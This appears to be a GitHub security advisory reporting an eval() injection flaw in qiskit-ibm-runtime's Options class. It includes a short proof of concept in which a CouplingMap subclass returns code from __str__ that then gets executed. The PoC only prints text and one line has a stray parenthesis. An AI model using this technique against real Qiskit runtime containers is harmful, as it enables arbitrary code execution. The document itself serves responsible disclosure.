  "details": "### Summary\n\nAn `eval()` method exists `Options._get_program_inputs`. This is bad in any case, but especially bad because `Options` are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.\n\n### Details\n\nhttps://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140\n\n### PoC\nA local exploit would be something like\n\n```python\nfrom qiskit import transpiler\n\nclass BadActor(transpiler.CouplingMap):\n    def __str__(self):\n        return \"print(\u0027external code\u0027)\"\n\n```\n\nWhere `print(\"external code\")` can be any arbitrary python code string.\n\nThen if you did a normal workflow and used a specifically constructed `CouplingMap` subclass like `BadActor` above:\n\n```python\nfrom qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler\nfrom qiskit import QuantumCircuit\n\ncmap = BadActor.from_line(42)\nservice = QiskitRuntimeService()\noptions = Options(optimization_level=1)\noptions.simulator = dict(coupling_map=cmap))\n\nbell = QuantumCircuit(2)\nbell.h(0)\nbell.cx(0, 1)\nbell.measure_all()\n\nwith Session(service=service, backend=\"ibmq_qasm_simulator\") as session:\n    sampler = Sampler(session=session, options=options).run(bell)\n```\n\nThis will print `external code`\n\n### Impact\n\nSecurity vulnerability.",
